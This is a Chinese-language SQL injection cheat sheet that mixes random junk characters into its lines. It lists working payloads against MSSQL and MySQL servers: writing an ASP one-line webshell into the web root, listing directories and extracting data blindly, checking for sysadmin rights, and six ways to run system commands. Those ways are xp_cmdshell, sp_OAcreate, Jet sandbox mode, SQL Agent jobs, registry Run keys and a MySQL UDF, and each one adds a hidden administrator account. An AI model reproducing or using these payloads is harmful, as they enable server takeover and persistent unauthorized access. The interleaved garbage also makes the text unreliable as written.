MSSQL语句导出一句话木马
6 n g# U; p, M% x+ v N5 C( t6 _首先确定网站的WEB路径
9 {+ `/ E. y d+ r" m;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马& ~" m) e& S8 i+ z/ H
. i7 U+ [: p* E" |: ]8 \
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- ( l+ Z5 B$ [" Y6 Q
//将一句话木马插入表中
2 K* C6 s* Y/ s& F0 h4 H
! Q8 t& \9 [$ j;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- % ^/ |- I2 \1 | ?
//导出一个ASP文件
5 [: N/ l! [" A+ j/ D& Z/ E1 z ^
3 Z5 f! X! _. }% k关于MSSQL列目录
, F; Q- f/ W# w |3 @. x# |;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表7 K9 w( Z3 \' J! M
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
7 V' F+ u9 U4 }1 k% U8 R' e8 |. t6 [3 e7 `
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
: Q0 v) F, c: o! [9 \ {9 n: F( z( z) Y( c% A
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段3 F8 F1 |+ B9 K4 G- O6 I
* p# n1 E; G. K' [* q) }$ WAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
. e% l+ Y7 F7 d+ L6 m$ i; H0 X& h3 C' o5 X1 I( m; K
0 b. i% r' X" O2 f9 n
数据库版本和权限查看 n' K7 |7 j1 k g6 ~, e
and 1=(select @@VERSION) //查看详细的数据库信息.
3 ~# y* i6 a. ?0 @: F9 Wand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
( {5 d J3 a+ b; D! k# E$ vand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER# F5 f* r' m4 ]3 g
4 h. o' d- a: U+ C) I- E4 m+ S7 [- h2 C5 v, H' F! f4 d) r
1.利用xp_cmdshell执行命令
1 g8 A2 w+ B2 _" y% K. Vexec master..xp_cmdshell 'net user rfire 123456 /add'
9 ]# }: ]+ y1 C% G9 E8 G& Pexec master..xp_cmdshell 'net localgroup administrators rfire /add'
% H: g( u' o7 {& d' m7 P4 S4 U7 d' j+ l; ^2 H" X; |
恢复xp_cmdshell存储过程+ E+ E. h7 E% m) Q: a3 P
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
4 w4 S0 @5 ~) g) b) k( z( Q5 ?! T8 ^1 u+ [) H3 x8 F/ a% z
: ~7 A3 V& T& W& \3 ^) R2 v: u2.利用SP_OAcreate和SP_OAMETHOD执行命令7 M/ c+ q5 L- ^' A$ R& b
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
2 O+ Q6 O2 C+ g( I. @& L& jDECLARE @shell INT //建立一个@shell实体9 t4 l6 D2 z" B. A' r4 m, _+ u
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
( f( z8 C0 V( t) _" p* S; }/ G3 ?EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
7 e8 I$ A+ F; S6 p @$ L
: _- I- `7 Y- k7 F$ o3 ?/ F# \ c4 V' `, P
3.利用沙盒模式
- V. K4 y+ [& t+ B- k: V9 O9 h先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
- m, ?, x3 y* J p) z开启沙盒模式:
2 ?& }" F3 F5 Y( d* q7 o/ W5 S+ {EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
; n1 J" R( W, B! F6 w8 o
6 U8 o5 P" F# ^4 D3 @. ~执行命令:
: K$ ~2 g. h( Z9 d+ s* {' j% hSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
/ w' ]$ A( W0 s5 I, B F9 k d
3 c: W. k l8 ?* Y7 {
4 G4 W D5 h% ^+ n4.利用SQL代理执行命令1 S# o$ Q U7 s
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务7 t: D& C) Z. }7 }- a: u0 g
$ v; t0 X2 e7 N8 L" V1 y/ H" _; s执行命令:6 s1 i7 \1 o- Q- b8 @% |- x
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错. |' E# l7 k5 q1 w2 G
exec sp_add_job 'x'3 M1 `% l) }& [1 y& C
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
% ^( R. {( ~+ O" d( mexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业0 [; T5 u- r' d( a: z' W, v0 _
, B- R# _5 D; A/ T+ i5 E3 p; ^4 @& V; a/ K& I& O
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
6 s% O0 I) K6 E+ oEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'! q b. `5 P+ Y- N( F0 f; n
, `; r' y, e8 M# ^% A" l( b3 H4 U
) \7 y# P( f* m$ @" U. \; Q3 v6.MYSQL的命令执行
) R: \2 w- Y( G/ w( t* U' I9 d5 z4 _MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)# w2 T7 R. w# W9 k
首先要在su.php下导出c:\windows\udf.dll
f. k8 x. e# \0 Y4 ?9 Q2 |导出后执行创建自定义函数命令:
" E/ Y9 h/ y$ _. v b& T5 u- N) ^ D: cCreate Function cmdshell returns string soname 'udf.dll', `& H6 p3 }6 Z: }. w: S3 W k* J
执行命令2 }/ C4 k. ?: M8 b9 J6 G, R9 \- |
select cmdshell('net user rfire 123456 /add')' Q% e5 T w5 m" a* t) _ f1 G
执行后删除函数 drop function cmdshell `( G5 f0 u( W) a" I
|